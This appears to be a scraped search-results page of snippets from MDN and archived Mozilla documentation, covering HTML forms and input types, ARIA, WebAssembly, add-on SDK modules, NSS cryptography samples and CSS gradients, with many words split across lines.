...ples of common problems include e-mail addresses which are not valid, or a name field which does not contain at least a first name or a surname. 10 basic form hints aria, accessibility, forms when implementing forms using traditional html form-related elements, it is important to provide labels for controls, and explicitly associate a label with its control. 11 mult
ipart labels: using aria for labels with embedded fields inside them aria, accessibility, ben millard, firefox, guide, help, html, html 4, jaws, needscontent, aria-labelledby, label, solution, trouble shoot, troubleshoot the solution is in an aria attribute called aria-labelledby. its parameter is a string that consists of the ids of the html elements you want to concatenate into a single ...
...And 19 more matches
<input type="email"> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the input value is automatically validated to ensure that it's either empty or a properly-formatted e-mail address (or list of addresses) before the form can be submitted. ...
...te to visually denote whether the current value of the field is a valid e-mail address or not. on browsers that don't support inputs of type email, a email input falls back to being a standard text input. value a domstring representing an e-mail address, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, mult
iple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a domstring which is automatically validated as conforming to e-mail syntax. more specifically, there are three possible value formats that will pass validation: an empty string ("") indicating that ...
...ue or that the value was removed. a single properly-formed e-mail address. this doesn't necessarily mean the e-mail address exists, but it is at least formatted correctly. in simple terms, this means username@domain or username@domain.tld. there's more to it than that, of course; see validation for a regular expression that matches the e-mail address validation algorithm. if and only if the mult
iple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses. any trailing and leading whitespace is removed from each address in the list. see validation for details on how e-mail addresses are validated to ensure that they're formatted properly. additional attributes in addition to the attributes that operate on all <input> elements regardless of the...
...And 19 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
lone https://github.com/mdn/interactive-examples and send us a pull request. <input> types how an <input> works varies considerably depending on the value of its type attribute, hence the different types are covered in their own separate reference pages. if this attribute is not specified, the default type adopted is text. the available types are as follows: type descr
iption basic examples spec button a push button with no default behavior displaying the value of the value attribute, empty by default. <input type="button" name="button" /> checkbox a check box allowing single values to be selected/deselected. <input type="checkbox" name="checkbox"/> color a control for specifying a col...
...lidation when supported. displays a numeric keypad in some devices with dynamic keypads. <input type="number" name="number"/> html5 password a single-line text field whose value is obscured. will alert user if site is not secure. <input type="password" name="password"/> radio a radio button, allowing a single value to be selected out of mult
iple choices with the same name value. <input type="radio" name="radio"/> range a control for entering a number whose exact value is not important. displays as a range widget defaulting to the middle value. used in conjunction min and max to define the range of acceptable values. <input type="range" name="range" min="0" max="25"/> html5 reset a ...
... based on the htmlinputelement interface, they technically share the exact same set of attributes. however, in reality, most attributes have an effect on only a specific subset of input types. in addition, the way some attributes impact an input depends on the input type, impacting different input types in different ways. this section provides a table listing all the attributes with a brief descr
iption. this table is followed by a list describing each attribute in greater detail, along with which input types they are associated with.those that are common to most or all input types are defined in greater detail below. attributes that are unique to particular input types--or attributes which are common to all input types but have special behaviors when used on a given input type--are instead ...
...And 19 more matches
WebAssembly Concepts - WebAssembly
ly? webassembly is a new type of code that can be run in modern web browsers and provides new features and major gains in performance. it is not primarily intended to be written by hand, rather it is designed to be an effective compilation target for low-level source languages like c, c++, rust, etc. ...
...he web platform -- it provides a way to run code written in mult
iple languages on the web at near-native speed, with client apps running on the web that previously couldn't have done so. what's more, you don't even have to know how to create webassembly code to take advantage of it. webassembly modules can be imported into a web (or node.js) app, exposing webassembly functions for use via javascr
ipt. javascr
ipt frameworks could make use of webassembly to confer massive performance advantages and new features while still making functionality easily available to web developers. webassembly goals webassembly is being created as an open standard inside the w3c webassembly community group with the following goals: be fast, efficient, and portable -- webassembly code can be executed at near-...
...ged by hand. keep secure -- webassembly is specified to be run in a safe, sandboxed execution environment. like other web code, it will enforce the browser's same-origin and permissions policies. don't break the web -- webassembly is designed so that it plays nicely with other web technologies and maintains backwards compatibility. note: webassembly will also have uses outside web and javascr
ipt environments (see non-web embeddings). how does webassembly fit into the web platform? the web platform can be thought of as having two parts: a virtual machine (vm) that runs the web app's code, e.g. the javascr
ipt code that powers your apps. a set of web apis that the web app can call to control web browser/device functionality and make things happen (dom, cssom, webgl, indexeddb, web a...
...And 19 more matches
dev/panel - Archive of obsolete content
4. note that at the moment you can't debug remote targets (for example, firefox os, the firefox os simulator, or firefox for android) using tools developed with this api. we're working on removing this restriction. enables you to extend the firefox developer tools. most of the firefox developer tools are hosted in a ui component called the toolbox. individual built-in tools, such as the javascr
ipt debugger or the web console, occupy "panels" in the toolbox. with the dev/panel module, you can create your own panels in the toolbox: the panel gets a tab in the toolbox toolbar which enables the user to open it: you specify the panel's content and behavior using html, css, and javascr
ipt. when the panel's created, the framework passes it a debuggee: this is a messageport object th...
... to supply values for various properties . you can set the constructor up manually if you like, or you can use the add-on sdk core/heritage module to simplify the mechanics of inheriting from panel. ...
... mandatory icon string the icon to display in the toolbox toolbar, specified as a resource:// url pointing to an icon file, typical...
...And 18 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
manifest. it lists information about 2 different versions of the extension with id foobar@developer.mozilla.org. the versions included are 2.2 and 2.5, both of which specify compatibility with firefox versions 1.5 to 2.0.0.*. for version 2.2 an https update link is used while version 2.5 has a regular http link with a hash to verify the file retrieved. it is important to get the initial rdf:descr
iption's about attribute correct. it varies depending on what type of add-on you are providing information for: for an extension or plugin bundle it must be urn:mozilla:extension:<id> for a theme it must be urn:mozilla:theme:<id> for any other type of add-on it must be urn:mozilla:item:<id> note: prior to gecko 2.0 (firefox 4.0), the ordering of the versions within the <rdf:seq> is significan...
...nificant. for later versions, the compatible add-on version with the greatest version string will be used by the client for automatic updates. the behavior depends on the version of the client application, of course. ...
...r depends on the version of the client application, of course. <?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this descr
iption resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org. you can list mult
iple add-ons information in the same rdf file. ...
...And 18 more matches
Filtering - Archive of obsolete content
<< previousnext >> adjusting the query sometimes you may wish to change the query at a later time. for example, you wish the user to be able to select a value from a list, and the template results should be filtered based on that value. this can be done by modifying the dom nodes inside the query and rebuilding the template. ...
... the query sometimes you may wish to change the query at a later time. for example, you wish the user to be able to select a value from a list, and the template results should be filtered based on that value. this can be done by modifying the dom nodes inside the query and rebuilding the template. for instance, to apply a filter, you might add a new <tr
iple> element. to remove the filter, the <tr
iple> should be removed again. ...
...ltered based on that value. this can be done by modifying the dom nodes inside the query and rebuilding the template. for instance, to apply a filter, you might add a new <tr
iple> element. to remove the filter, the <tr
iple> should be removed again. let's assume that we've given an id of 'cond' to the query tag. ...
...And 18 more matches
Client-side storage - Learn web development
modern web browsers support a number of ways for web sites to store data on the user's computer -- with the user's permission -- then retrieve it when necessary. this lets you persist data for long-term storage, save sites or documents for offline use, retain user-specific settings for your site, and more. this article explains the very basics of how these work. prerequisites: javascr
ipt basics (see first steps, building blocks, javascr
ipt objects), the basics of client-side apis objective: to learn how to use client-side storage apis to store application data. client-side storage? elsewhere in the mdn learning area we talked about the difference between static sites and dynamic sites. most major modern web sites are dynamic -- they store data on the server u...
... about the difference between static sites and dynamic sites. most major modern web sites are dynamic -- they store data on the server using some kind of database (server-side storage), then run server-side code to retrieve needed data, insert it into static page templates, and serve the resulting html to the client to be displayed by the user's browser. client-side storage works on similar princ
iples, but has different uses. it consists of javascr
ipt apis that allow you to store data on the client (i.e. on the user's machine) and then retrieve it when needed. this has many distinct uses, such as: personalizing site preferences (e.g. showing a user's choice of custom widgets, color scheme, or font size). persisting previous site activity (e.g. storing the contents of a shopping cart fro...
... simple example in the offline asset storage section below. storing simple data -- web storage the web storage api is very easy to use -- you store simple name/value pairs of data (limited to strings, numbers, etc.) and retrieve these values when needed. basic syntax let's show you how: first, go to our web storage blank template on github (open this in a new tab). open the javascr
ipt console of your browser's developer tools. all of your web storage data is contained within two object-like structures inside the browser: sessionstorage and localstorage. the first one persists data for as long as the browser is open (the data is lost when the browser is closed) and the second one persists data even after the browser is closed and then opened again. we'll use the second o...
...And 18 more matches
Handling common accessibility problems - Learn web development
previous overview: cross browser testing next next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues. prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high level princ
iples of cross browser testing. objective: to be able to diagnose common accessibility problems, and use appropriate tools and techniques to fix them. what is accessibility? when we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example: visually impaired people using screen readers or magnificat...
...ing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused. you can then press enter/return to follow a focused link or press a button (we've included some javascr
ipt to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the <select> element can have its options displayed and cycled between using the up and down arrow keys). note that different browsers may have different keyboard control options available. most modern browsers follow the tab pattern described above (you ...
...t each item on a webpage checkbox. important: you should perform this kind of test on any new page you write -- make sure the functionality can be accessed by the keyboard. this example highlights the importance of using the correct semantic element for the correct job. it is possible to style any element to look like a link or button with css, and to behave like a link or button with javascr
ipt, but they won't actually be links or buttons, and you'll lose a lot of the accessibility these elements give you for free. so don't do it if you can avoid it. another t
ip -- as shown in our example, you can control how your focusable elements look when focused, using the :focus pseudo-class. it is a good idea to double up focus and hover styles, so your users get that visual clue that a control...
...And 18 more matches
Gecko info for Windows accessibility vendors
sly need to understand msaa, you'll need to read the docs on msdn and play with the sample apps and code that come with msaa sdk 1.3. (i recommend sdk 1.3 because the msaa sdk 2.0 doesn't come with the source code to the testing tools. the other differences are not important). dom: document object model this is the w3c's specification for how web content is exposed to javascr
ipt and other languages. it covers content, style and events. inside the gecko process, code has full access to dom apis. however, exposing the entire dom to external software packages is quite involved, partially because changes to the dom in firefox must occur on the main thread. we have chosen a subset of readonly methods in the dom needed for assistive technology vendors. events such as focus ch...
...n the main thread. we have chosen a subset of readonly methods in the dom needed for assistive technology vendors. events such as focus changes must be tracked through msaa events, rather than dom events. xul: extensible user-interface language the xml-based language used by firefox and mozilla to develop the ui. ...
...er than dom events. xul: extensible user-interface language the xml-based language used by firefox and mozilla to develop the ui. similar to html in that it can be combined with css and javascr
ipt to make powerful applications. contains more desktop-style widgets than html and follows a box layout model, rather than being text-flow based. ajax: asynchronous javascr
ipt and xml ajax is a method of building interactive web applications that process user requests, user actions immediately in real time, unlike an http request, during which users must wait for a whole page to reload or for a new page to load. data is therefore stored and retrieved dynamically much faster. roles, states and events: please read the msaa documentation ...
...And 18 more matches
source-editor.jsm
this component has been removed from the platform in firefox 28. the source-editor.jsm javascr
ipt code module implements an editor specifically tailored for editing source code; its primary purpose is to provide support for web developer tools to display and edit web site code. the editor provided is ecl
ipse orion. to use it, you first need to import the code module into your javascr
ipt scope: components.utils.import("resource:///modules/source-editor.jsm"); warning: much of the functionality of the source editor is implemented by a secondary code module (by default, source-editor-orion.jsm). you must not directly import that code module; it is essentially an implementation detail. its functionality is all exposed through source-editor.jsm. method overview initialization and...
...you can then use this value to detect when the contents of the text are different from your most recent save. in addition, when this value changes, the "dirtychanged" event is sent. editorelement element the element containing the edit...
... the element containing the editor. when using the default orion editor, this is a xul <xul:iframe> element. read only. lastfind object an object describing the result of the last find operation performed using the find(), findnext(), or findprevious() method. read only. this object has the following properties: property type descr
iption str string the last string that was searched for. index number an integer value indicating the result of the most recent find operation; this is the index into the text at which str was found, or -1 if the string wasn't found. lastfound number the index of the previous location at which st...
...And 18 more matches
nss tech note5
using nss to perform miscellaneous cryptographic operations nss technical note: 5 nss project info is at http://www.mozilla.org/projects/security/pki/nss/ you can browse the nss source online at http://lxr.mozilla.org/mozilla/source/security/nss/ and http://lxr.mozilla.org/security/ be sure to look for sample code first for things you need to do. note: this document contains code sn
ippets that focus on essential aspects of the task and often do not illustrate all the cleanup that needs to be done. also, this document does not attempt to be an exhaustive survey of all possible ways to do a certain task; it merely tries to show a certain way. encrypt/decrypt include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init functi...
... the cleanup that needs to be done. also, this document does not attempt to be an exhaustive survey of all possible ways to do a certain task; it merely tries to show a certain way. ...
...clude headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a c
ipher mechanism. note that some mechanisms (*_pad) imply the padding is handled for you by nss. if you choose something else, then data padding is the application's responsibility. you can find a list of c
ipher mechanisms in security/nss/lib/softoken/pkcs11.c - grep for ckf_en_de_. ...
...And 18 more matches
Rhino scopes and contexts
before using rhino in a concurrent environment, it is important to understand the distinction between contexts and scopes. both are required to execute scr
ipts, but they play different roles. simple embeddings of rhino probably won't need any of the information here, but more complicated embeddings can gain performance and flexibility from the techniques described below. contexts the rhino context object is used to store thread-specific information about the execution environment. there should be one and only one context associated with each thread that will be executing javascr
ipt. to associate the current thread with a context, simply call the enter method of context: context cx = context.enter(); once you are done with execution, simply exit the context: context.exit(); t...
...exit(); these calls will work properly even if there is already a context associated with the current thread. that context will be returned and an internal counter incremented. only when the counter reaches zero will it be disassociated from the thread. remember to put the exit() call in a finally block if you're executing code that could throw an exception. ...
...rk properly even if there is already a context associated with the current thread. that context will be returned and an internal counter incremented. only when the counter reaches zero will it be disassociated from the thread. remember to put the exit() call in a finally block if you're executing code that could throw an exception. scopes a scope is a set of javascr
ipt objects. ...
...And 18 more matches
Packaging WebLock
n and installation. note: the emphasis of this tutorial is on the component development itself, so this section on packaging and installing extensions to gecko is necessarily brief. for more detailed information on packaging and installation of components into gecko-based applications, see http://www.mozilla.org/projects/xpinstall. component installation overview xpinstall is a set of javascr
ipt apis for creating installation scr
ipts. using xpinstall, you can create web-based installations for gecko-based applications, mozilla extensions, or individual components. the installation scr
ipt for the weblock component can also be used to register the component with the browser into which it is installed (see registration methods in xpcom for more information on registration). the sample ins...
... what is the chrome registry? like the windows registry, the chrome registry is a database of information about applications, skins, and other extensions that have been installed in a gecko application. ...
... web-based installations for gecko-based applications, mozilla extensions, or individual components. the installation scr
ipt for the weblock component can also be used to register the component with the browser into which it is installed (see registration methods in xpcom for more information on registration). the sample installation scr
ipt shown below uses the mozilla xpinstall technology to man
ipulate an installer and talk to mozilla'schrome registry as high-level javascr
ipt objects. what is the chrome registry? like the windows registry, the chrome registry is a database of information about applications, skins, and other extensions that have been installed in a gecko application. since mozilla and other gecko-based applications are cross-platform, this database is abstracted above th...
...And 18 more matches
Debugger.Object - Firefox Developer Tools
debugger.object a debugger.object instance represents an object in the debuggee, providing reflection-oriented methods to inspect and modify its referent. the referent's properties do not appear directly as properties of the debugger.object instance; the debugger can access them only through methods like debugger.object.prototype.getownpropertydescr
iptor and debugger.object.prototype.defineproperty, ensuring that the debugger will not inadvertently invoke the referent's getters and setters. spidermonkey creates exactly one debugger.object instance for each debuggee object it presents to a given debugger instance: if the debugger encounters the same object through two different routes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object inst...
...outes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object instance to the debugger each time. this means that the debugger can use the == operator to recognize when two debugger.object instances refer to the same debuggee object, and place its own properties on a debugger.object instance to store metadata about particular debuggee objects. javascr
ipt code in different compartments can have different views of the same object. for example, in firefox, code in privileged compartments sees content dom element objects without redefinitions or extensions made to that object's properties by content code. (in firefox terminology, privileged code sees the element through an "xray wrapper".) to ensure that debugger code sees each object just as the de...
...referent remains live. this means that garbage collection has no visible effect on debugger.object instances. accessor properties of the debugger.object prototype a debugger.object instance inherits the following accessor properties from its prototype: proto the referent's prototype (as a new debugger.object instance), or null if it has no prototype. class a string naming the ecmascr
ipt [[class]] of the referent. callable true if the referent is a callable object (such as a function or a function proxy); false otherwise. name the name of the referent, if it is a named function. if the referent is an anonymous function, or not a function at all, this is undefined. this accessor returns whatever name appeared after the function keyword in the source code, regardless...
...And 18 more matches
Using CSS gradients - CSS: Cascading Style Sheets
st color stop being at 0% and the last color stop being at 100%, and any other color stops being half way between their adjacent color stops. ...
...px; height: 120px; } .multicolor-linear { background: linear-gradient(to left, lime 28px, red 77%, cyan); } creating hard lines to create a hard line between two colors, creating a str
ipe instead of a gradual transition, adjacent color stops can be set to the same location. in this example, the colors share a color stop at the 50% mark, halfway through the gradient: <div class="str
iped"></div> div { width: 120px; height: 120px; } .str
iped { background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%); } gradient hints by default, the gradient transitions evenly from one color to the next. you can include a color-hint to move the midpoint of the transition value to a certain point along the gradient. in this example, we've moved the midpoint of the...
...nt. in this example, we've moved the midpoint of the transition from the 50% mark to the 10% mark. <div class="color-hint"></div> <div class="simple-linear"></div> div { width: 120px; height: 120px; float: left; margin-right: 10px; } .color-hint { background: linear-gradient(blue, 10%, pink); } .simple-linear { background: linear-gradient(blue, pink); } creating color bands & str
ipes to include a solid, non-transitioning color area within a gradient, include two positions for the color stop. color stops can have two positions, which is equivalent to two consecutive color stops with the same color at different positions. the color will reach full saturation at the first color stop, maintain that saturation through to the second color stop, and transition to the adjacent col...
...And 18 more matches
Tutorials
along with more complex features such as implementing captions and summaries. advanced level html forms forms are a very important part of the web -- these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending feedback, buying products, and more. this module gets you started with creating the client-side parts of forms. t
ips for authoring fast-loading html pages optimize web pages to provide a more responsive site for visitors and reduce the load on your web server and internet connection. css tutorials introductory level css basics css (cascading style sheets) is the code you use to style your webpage. css basics takes you through what you need to get started. we'll answer questions like: how do i make ...
...o get started. we'll answer questions like: how do i make my text black or red? how do i make my content show up in such-and-such a place on the screen? how do i decorate my webpage with background images and colors? css first steps css (cascading style sheets) is used to style and lay out web pages -- for example, to alter the font, color, size, and spacing of your content, split it into mult
iple columns, or add animations and other decorative features. this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html. css building blocks this module carries on where css first steps left off -- now you've gained familiarity with the language and its syntax...
...got some basic experience with using it, its time to dive a bit deeper. this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more. the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disc
iplines like text styling and css layout. styling text here we look at text styling fundamentals, including setting font, boldness, and italics, line and letter spacing, and drop shadows and other text features. we round off the module by looking at applying custom fonts to your page, and styling lists and links. common css questions common questions and answers for beginners. intermediate...
...And 18 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
when you've written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscr
ipten. let's look at how it works. emscr
ipten environment setup first, let's set up the required development environment. prerequisites get the emscr
ipten sdk, using these instructions: https://emscr
ipten.org/docs/getting_started/downloads.html compiling an example with the environment set up, let's look at how to use it to compile a c example to emscr
ipten. there are a number of options available when compiling with emscr
ipten, but the main two scenarios we'll cover are: compiling to wasm and creating html to run our code in, plus all the javascr
ipt "glue" code needed to run the wasm in the web environment. compiling to wasm and just creating the javascr
ipt. ...
... first we need an example to compile. ...
... first we need an example to compile. ...
...And 18 more matches
port - Archive of obsolete content
port methods emit() the port.emit() function sends a message from one side to the other. ...
... port methods emit() the port.emit() function sends a message from one side to the other. ...
... port methods emit() the port.emit() function sends a message from one side to the other. ...
...And 17 more matches
Content Processes - Archive of obsolete content
l the code associated with a single add-on. neither content or add-on proceses were ever actually implemented, but by the time they were cancelled, the sdk was already designed with them in mind. to understand this article, it's probably best to read it as if content and add-on processes actually exist. to communicate between add-on and content processes, the sdk uses something called content scr
ipts. these are explained in the first section. content scr
ipts communicate with add-on code using something called event emitters. these are explained in the next section. content workers combine these ideas, allowing you to inject a content scr
ipt into a content process, and automatically set up a communication channel between them. these are explained in the third section. in the next section, w...
... first section. content scr
ipts communicate with add-on code using something called event emitters. these are explained in the next section. content workers combine these ideas, allowing you to inject a content scr
ipt into a content process, and automatically set up a communication channel between them. these are explained in the third section. in the next section, we will look at how content scr
ipts interact with the dom in a content process. there are several caveats here, all of them related to security, that might cause things to not behave in the way you might expect. the final section explains why the sdk still uses the notion of content scr
ipts and message passing, even though the mult
iprocess model for which they were designed never materialized. this, too, is primarily related to ...
...om in a content process. there are several caveats here, all of them related to security, that might cause things to not behave in the way you might expect. the final section explains why the sdk still uses the notion of content scr
ipts and message passing, even though the mult
iprocess model for which they were designed never materialized. this, too, is primarily related to security. content scr
ipts when the sdk was first designed, firefox was being refactored towards a mult
iprocess model. in this model, the ui would be rendered in one process (called the chrome process), whereas each tab and each add-on would run in their own dedicated process (called content and add-on processes, respectively). the project behind this refactor was known as electrolysis, or e10s. although e10s has now be...
...And 17 more matches
ui/sidebar - Archive of obsolete content
usage creating, showing, and hiding sidebars you construct a sidebar object using the sidebar() constructor. once you've done that, you can show the sidebar by calling the sidebar's show() method. if a new window is opened from a window that has a sidebar visible, the new window gets a sidebar, too. you can hide the sidebar by calling its hide() method. ...
...).sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); from firefox 34, you can use "./sidebar.html" as an alias for self.data.url("sidebar.html"). ...
...).data.url("sidebar.html") }); from firefox 34, you can use "./sidebar.html" as an alias for self.data.url("sidebar.html"). so you can rewrite the above code like this: var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: "./sidebar.html" }); you can include javascr
ipt and css from the html as you would with any web page, for example using <scr
ipt> and <link> tags containing a path relative to the html file itself. <!doctype html> <html> <head> <link href="stuff.css" type="text/css" rel="stylesheet"> </head> <body> <scr
ipt type="text/javascr
ipt" src="stuff.js"></scr
ipt> </body> </html> you can update the sidebar's content by setting the sidebar's url property. this will change the sidebar's content across all windows. ...
...And 17 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
y, precision and control. this model is also interesting because is optimized to access contextual data instead reloading full web pages. this article discusses the concept of inner-browsing and possible approaches for its implementation. it also provides two implementation examples using the model. the first one looks like a traditional dhtml ticker application and uses hidden iframes and javascr
ipt to provide updates inside the webpage's ticker headlines section. this sample was made using iframes to illustrate a possible implementation. an implementation can also use other transport technologies such as soap-based remote procedure calls, xmlhttprequest interfaces, or dom 3 load. the second example shows a tabbed menu that dynamically loads news headlines into the current web page. this im...
...h developers format text layouts into pages and link those pages to related content, is analogous to a book or a magazine: readers view pages, go to other pages for more information, and view resources listed as references on that page. html and web standards have evolved and now offer flexible and fine-grained control to layout as well supporting dhtml, powerful programming languages like javascr
ipt, and additional media through embeddable third-party resources like flash, java, vrml, etc. additionally, server-side technologies have also evolved, supporting and connecting different resources to different browsers. despite all the evolution, we still see the underpinnings of the original model in modern web sites. we still connect through a set of links that mostly drive us to a new page, an...
...ike? good candidates for inner-browsing include a spell check application, in which the text entered in a web page is checked as it is typed; a webmail application that uses the inner-browsing model to display the separate messages and message lists in an integrated way, much like a client mail app; and a stock ticker that spools the information across the web page. see the table below for a descr
iption of how applications like this exemplify inner-browsing and how they might be implemented using the inner-browsing approach. some examples: web page with ticker it is common to see web pages with a ticker element, often used to rotate news or stock quotes updates. a simple ticker element implemented in dhtml statically includes the data in the page. if the data changes, it will not update unle...
...And 17 more matches
List of Mozilla-Based Applications - Archive of obsolete content
known active applications that are built using mozilla technologies. this list is likely to be incomplete since we think there are many dark matter projects that we don't know about. if you have information about a new project or extra information about an existing project, please feel free to update this page. a list of former mozilla-based applications is also available. name descr
iption additional information 389 directory server ldap server uses nss a380 seatback entertainment system media software this blog post mentions a reference to mozilla being used but i couldn't find more information about it. abstract accounting tool adobe acrobat and adobe reader portable document format (pdf) software uses mozilla sp...
... uses mozilla spidermonkey adobe flash player popular browser plug-in uses nss in linux version adwatch content management system uses xul and xpcom aicpcu/iia exam app exam delivery software aliwal geocoder geocoding & data on a map amarok xul remote remote control for amarok music player ample sdk javascr
ipt gui-framework aol instant messenger im client uses nss apache web server doesn't use nss by default, but can be configured to use nss with mod_nss ssl module apicawatch site performance monitoring tool uses firefox as part of its monitoring package astyle css editor editing tool atmail webmail client aviva ...
...illa irc client standalone version (xulrunner) chromium and google chrome web browser uses mozilla nss and npapi libraries chromeless browser with html-based interface classilla mozilla browser for mac os 9 clines a clone of color lines (game) standalone version cloud web operating system cloud browse
iphone/
ipad/
ipod touch browser seems to be firefox running remotely on servers that people access through device conkeror keyboard-oriented browser convertigo enterprise mashup server server tool for transactional web scraping and for web cl
ipping cometbird another firefox mod modified version of firefox correo email couac (f...
...And 17 more matches
WAI-ARIA basics - Learn web development
previous overview: accessibility next following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascr
ipt-updated content can be difficult. wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. here we'll show how to use it at a basic level to improve accessiblity. prerequisites: basic computer literacy, a basic understanding of html, css, and javascr
ipt, an understanding of the previous articles in the course. objective: to gain familiarity with wai-aria, and how it can be used to provide useful additional semantics to enhance accessibility where required. w...
...able, developers would simply use <div>s with ids or classes, e.g. <div class="nav">, but these were problematic, as there was no easy way to easily find a specific page feature such as the main navigation programmatically. the initial solution was to add one or more hidden links at the top of the page to link to the navigation (or whatever else), for example: <a href="#hidden" class="hidden">sk
ip to navigation</a> but this is still not very precise, and can only be used when the screenreader is reading from the top of the page. as another example, apps started to feature complex controls like date pickers for choosing dates, sliders for choosing values, etc. html5 provides special input types to render such controls: <input type="date"> <input type="range"> these are not well-supporte...
...ture complex controls like date pickers for choosing dates, sliders for choosing values, etc. html5 provides special input types to render such controls: <input type="date"> <input type="range"> these are not well-supported across browsers, and it is also difficult to style them, making them not very useful for integrating with website designs. as a result, developers quite often rely on javascr
ipt libraries that generate such controls as a series of nested <div>s or table elements with classnames, which are then styled using css and controlled using javascr
ipt. the problem here is that visually they work, but screenreaders can't make any sense of what they are at all, and their users just get told that they can see a jumble of elements with no semantics to describe what they mean. enter...
...And 17 more matches
What’s in the head? Metadata in HTML - Learn web development
d any potential problems in other browsers. active learning: experiment with character encoding to try this out, revisit the simple html template you obtained in the previous section on <title> (the title-example.html page), try changing the meta charset value to iso-8859-1, and add the japanese to your page. this is the code we used: <p>japanese example: ??????</p> adding an author and descr
iption many <meta> elements include name and content attributes: name specifies the type of meta element it is; what type of information it contains. content specifies the actual meta content. two such meta elements that are useful to include on your page define the author of the page, and provide a concise descr
iption of the page. let's look at an example: <meta name="author" content="chris...
... include name and content attributes: name specifies the type of meta element it is; what type of information it contains. content specifies the actual meta content. two such meta elements that are useful to include on your page define the author of the page, and provide a concise descr
iption of the page. let's look at an example: <meta name="author" content="chris mills"> <meta name="descr
iption" content="the mdn web docs learning area aims to provide complete beginners to the web with all they need to know to get started with developing web sites and applications."> specifying an author is beneficial in many ways: it is useful to be able to understand who wrote the page, if you have any questions about the content and you would like to contact them. some content management systems ...
... started with developing web sites and applications."> specifying an author is beneficial in many ways: it is useful to be able to understand who wrote the page, if you have any questions about the content and you would like to contact them. some content management systems have facilities to automatically extract page author information and make it available for such purposes. specifying a descr
iption that includes keywords relating to the content of your page is useful as it has the potential to make your page appear higher in relevant searches performed in search engines (such activities are termed search engine optimization, or seo.) active learning: the descr
iption's use in search engines the descr
iption is also used on search engine result pages. let's go through an exercise to expl...
...And 17 more matches
Introduction to events - Learn web development
e user selects a button on a webpage, you might want to respond to that action by displaying an information box. in this article, we discuss some important concepts surrounding events, and look at how they work in browsers. this won't be an exhaustive study; just what you need to know at this stage. prerequisites: basic computer literacy, a basic understanding of html and css, javascr
ipt first steps. objective: to understand the fundamental theory of events, how they work in browsers, and how events may differ in different programming environments. a series of fortunate events as mentioned above, events are actions or occurrences that happen in the system you are programming -- the system produces (or "fires") a signal of some kind when an event occurs, and p...
...a key on the keyboard. the user resizes or closes the browser window. a web page finishes loading. a form is submitted. a video is played, paused, or finishes. an error occurs. you can gather from this (and from glancing at the mdn event reference) that there are a lot of events that can be responded to. each available event has an event handler, which is a block of code (usually a javascr
ipt function that you as a programmer create) that runs when the event fires. when such a block of code is defined to run in response to an event, we say we are registering an event handler. note: event handlers are sometimes called event listeners -- they are pretty much interchangeable for our purposes, although strictly speaking, they work together. the listener listens out for the event happenin...
...response to an event, we say we are registering an event handler. note: event handlers are sometimes called event listeners -- they are pretty much interchangeable for our purposes, although strictly speaking, they work together. the listener listens out for the event happening, and the handler is the code that is run in response to it happening. note: web events are not part of the core javascr
ipt language -- they are defined as part of the apis built into the browser. a simple example let's look at a simple example of what we mean here. you've already seen events and event handlers used in many of the examples, but let's recap just to cement our knowledge. in the following example, we have a single <button>, which when pressed, makes the background change to a random color: <button>c...
...And 17 more matches
Looping code - Learn web development
keep me in the loop loops, loops, loops. ...
... keep me in the loop loops, loops, loops. ...
... keep me in the loop loops, loops, loops. as well as being associated with popular breakfast cereals, roller coasters, and musical production, they are also a critical concept in programming. ...
...And 17 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
le. ...
...ude <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <keyhi.h> #include <pk11priv.h> /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define c
iphersize 96 #define blocksize 32 #define c
ipher_header "-----begin c
ipher-----" #define c
ipher_trailer "-----end c
ipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid-----" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_t...
